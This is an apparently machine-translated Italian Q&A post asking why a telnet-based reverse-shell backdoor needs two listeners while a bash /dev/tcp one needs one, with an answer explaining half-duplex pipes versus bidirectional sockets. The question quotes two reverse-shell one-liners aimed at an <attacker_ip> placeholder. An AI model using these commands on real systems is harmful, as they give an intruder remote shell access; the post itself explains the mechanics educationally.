Porta posteriore a guscio inverso

2

Perché questo esempio di backdoor della shell inversa richiede due ascoltatori? Il listener utilizza il comando nc (nc -l).

telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> <port_b>

Anche se l'esempio sotto di backdoor della shell inversa non ha bisogno di due listener, è solo uno richiesto.

/bin/bash -i > dev/tcp<attacker_ip>/<port> 0<&1 2>&1

Ho cercato la domanda correlata ma non riesco a trovare la risposta esattamente corrispondente a quello che voglio sapere ...

    
posta mhigu 31.10.2014 - 08:57
fonte

1 risposta

2

I tubi sono connessioni "half duplex": i dati fluiscono attraverso di essi in un'unica direzione (dal programma di sinistra al programma di destra). Se stai usando pipe per connettere la tua shell alla rete, ne servono due: uno per gestire l'input e l'altro per gestire l'output.

Le connessioni di rete, come quelle fornite dallo pseudo-filesystem /dev/tcp nel secondo esempio, sono bidirezionali: i dati possono fluire in entrambe le direzioni. Il reindirizzamento dell'output ( > /dev/tcp/<attacker_ip>/<port> crea la rete e aggancia l'output standard della shell all'ingresso della connessione. 0<&1 significa "connetti input standard nella stessa posizione dell'output standard" (la connessione di rete) e 2>&1 significa "connetti errore di uscita nello stesso punto dell'uscita standard "(la connessione di rete, di nuovo).

    
risposta data 31.10.2014 - 10:24
fonte

Leggi altre domande sui tag